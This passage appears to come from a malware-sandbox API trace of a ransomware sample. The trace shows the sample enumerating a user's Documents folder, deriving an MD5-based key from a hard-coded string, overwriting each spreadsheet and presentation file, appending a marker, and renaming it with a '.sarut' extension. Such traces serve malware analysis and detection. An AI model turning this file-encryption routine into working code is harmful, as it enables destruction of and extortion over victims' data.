nNumberOfBytesToWrite=0x13a14, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x13a14, lpOverlapped=0x0) returned 1 [0268.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.464] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13a19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.464] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.464] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.465] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.465] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.465] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.465] CloseHandle (hObject=0x5c4) returned 1 [0268.467] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.467] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.467] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F66QZsvCIiq3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f66qzsvciiq3.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F66QZsvCIiq3.xlsx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f66qzsvciiq3.xlsx.sarut")) returned 1 [0268.468] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.468] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.469] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd333230, ftCreationTime.dwHighDateTime=0x1d4cfe2, ftLastAccessTime.dwLowDateTime=0x538c8d80, ftLastAccessTime.dwHighDateTime=0x1d4c7e7, ftLastWriteTime.dwLowDateTime=0x538c8d80, ftLastWriteTime.dwHighDateTime=0x1d4c7e7, nFileSizeHigh=0x0, nFileSizeLow=0xcaff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FT5DlVKU9skfgHqGxmUn.ods", cAlternateFileName="FT5DLV~1.ODS")) returned 1 [0268.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0268.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.469] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FT5DlVKU9skfgHqGxmUn.ods") returned=".ods" [0268.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FT5DlVKU9skfgHqGxmUn.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ft5dlvku9skfghqgxmun.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.469] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=51967) returned 1 [0268.469] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.472] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcad9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.472] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.474] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.474] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xcaff, lpOverlapped=0x0) returned 1 [0268.475] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.475] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.475] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.475] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.476] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.476] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.476] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.476] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.476] GetLastError () returned 0x0 [0268.476] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.476] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xcb00) returned 0x311d708 [0268.477] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.477] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xcafa, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xcafa, lpOverlapped=0x0) returned 1 [0268.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.477] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcaff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.477] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.478] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.478] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.478] CloseHandle (hObject=0x5c4) returned 1 [0268.480] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0268.480] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.480] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0268.480] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FT5DlVKU9skfgHqGxmUn.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ft5dlvku9skfghqgxmun.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FT5DlVKU9skfgHqGxmUn.ods.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ft5dlvku9skfghqgxmun.ods.sarut")) returned 1 [0268.481] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.481] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.482] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9828ef10, ftCreationTime.dwHighDateTime=0x1d4c5bc, ftLastAccessTime.dwLowDateTime=0x8a12ec20, ftLastAccessTime.dwHighDateTime=0x1d4d438, ftLastWriteTime.dwLowDateTime=0x8a12ec20, ftLastWriteTime.dwHighDateTime=0x1d4d438, nFileSizeHigh=0x0, nFileSizeLow=0x126d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g61yn2 WbDs1g.odp", cAlternateFileName="G61YN2~1.ODP")) returned 1 [0268.482] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.482] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.482] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.482] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g61yn2 WbDs1g.odp") returned=".odp" [0268.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g61yn2 WbDs1g.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g61yn2 wbds1g.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.484] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=75473) returned 1 [0268.484] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.487] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x126ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.487] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.489] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.489] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x126d1, lpOverlapped=0x0) returned 1 [0268.492] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.492] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.492] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.492] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.492] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.493] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.493] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.493] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.493] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.493] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.493] GetLastError () returned 0x0 [0268.493] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.493] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.493] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.493] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x126d0) returned 0x311d708 [0268.494] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.494] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.494] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x126cc, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x126cc, lpOverlapped=0x0) returned 1 [0268.494] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.494] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x126d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.494] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.494] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.495] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.495] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.495] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.495] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.495] CloseHandle (hObject=0x5c4) returned 1 [0268.504] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.504] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.505] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g61yn2 WbDs1g.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g61yn2 wbds1g.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g61yn2 WbDs1g.odp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g61yn2 wbds1g.odp.sarut")) returned 1 [0268.510] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.510] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.511] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95787820, ftCreationTime.dwHighDateTime=0x1d4d10c, ftLastAccessTime.dwLowDateTime=0x3c4eb430, ftLastAccessTime.dwHighDateTime=0x1d4cad6, ftLastWriteTime.dwLowDateTime=0x3c4eb430, ftLastWriteTime.dwHighDateTime=0x1d4cad6, nFileSizeHigh=0x0, nFileSizeLow=0x76ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GaPuN558 zq.xlsx", cAlternateFileName="GAPUN5~1.XLS")) returned 1 [0268.511] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.511] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.512] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GaPuN558 zq.xlsx") returned=".xlsx" [0268.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GaPuN558 zq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gapun558 zq.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.513] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=30444) returned 1 [0268.513] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.515] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x76c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.515] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.517] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.517] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.517] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.517] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x76ec, lpOverlapped=0x0) returned 1 [0268.518] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.518] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.518] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.518] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.518] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.519] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.519] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.519] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.519] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.519] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.519] GetLastError () returned 0x0 [0268.519] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.519] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.520] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76f0) returned 0x311d708 [0268.520] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.520] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x76e7, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x76e7, lpOverlapped=0x0) returned 1 [0268.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.520] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x76ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.520] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.520] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.520] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.520] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.521] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.521] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.521] CloseHandle (hObject=0x5c4) returned 1 [0268.524] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.524] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.524] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.524] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 